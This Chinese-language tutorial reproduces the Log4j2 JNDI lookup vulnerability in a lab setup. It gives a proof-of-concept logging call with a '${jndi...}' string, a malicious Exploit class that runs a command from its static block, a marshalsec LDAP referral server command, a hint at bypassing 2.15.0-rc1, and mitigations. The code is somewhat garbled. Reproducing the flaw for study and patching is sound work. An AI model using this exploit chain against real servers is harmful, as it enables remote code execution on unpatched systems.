1. 簡介
ApacheLog4j2是一個開源的Java日志框架,被廣泛地應用在中間件、開發框架與Web應用中。
2. 漏洞概述
該漏洞是由于Apache Log4j2某些功能存在遞歸解析功能,未經身份驗證的攻擊者通過發送特定惡意數據包,可在目標服務器上執行任意代碼。
3. 影響范圍
Apache Log4j 2.x <= 2.15.0-rc1
4. 環境搭建
1、創建一個新的maven項目,并導入Log4j的依賴包
org.apache.logging.log4j log4j-core 2.14.1
漏洞利用
1、使用POC測試
importorg.apache.logging.log4j.LogManager; importorg.apache.logging.log4j.Logger; classLogTest{ publicstaticfinalLoggerlogger=LogManager.getLogger(); publicstaticvoidmain(String[]args){ logger.error("${jndi//localhost:8888/Exploit}"); } }
2、編譯一惡意類Exploit.class
首先新建exp.java,然后編譯為class文件
classExploit{ static{ System.err.println("Pwned"); try{ Stringcmds="calc"; Runtime.getRuntime().exec(cmds); }catch(Exceptione){ e.printStackTrace(); } } }
javacexp.java
3、使用marshalsec-0.0.3-SNAPSHOT-all.jar本地開啟一個LDAP服務
java-cpmarshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit"8888
4、運行poc.java,即可訪問惡意類并執行寫在其中的"calc"命令
結合一些其它 StrLookup 適當變形,以及配合官方測試用例中臟數據"?Type=A Type&Name=1100110&Char=!"可繞過rc1,RC2版本對此異常進行了捕獲。
5. 修復方式
目前,Apache官方已發布新版本完成漏洞修復,建議用戶盡快進行自查,并及時升級至最新版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 建議同時采用如下臨時措施進行漏洞防范:
1)添加jvm啟動參數-Dlog4j2.formatMsgNoLookups=true;
2)在應用classpath下添加log4j2.component.properties配置文件,文件內容為log4j2.formatMsgNoLookups=true;
3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
4)部署使用第三方防火墻產品進行安全防護。
-
JAVA
+關注
關注
19文章
2973瀏覽量
104899 -
漏洞
+關注
關注
0文章
204瀏覽量
15398
原文標題:手把手教你復現 Log4j2 漏洞
文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運維】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論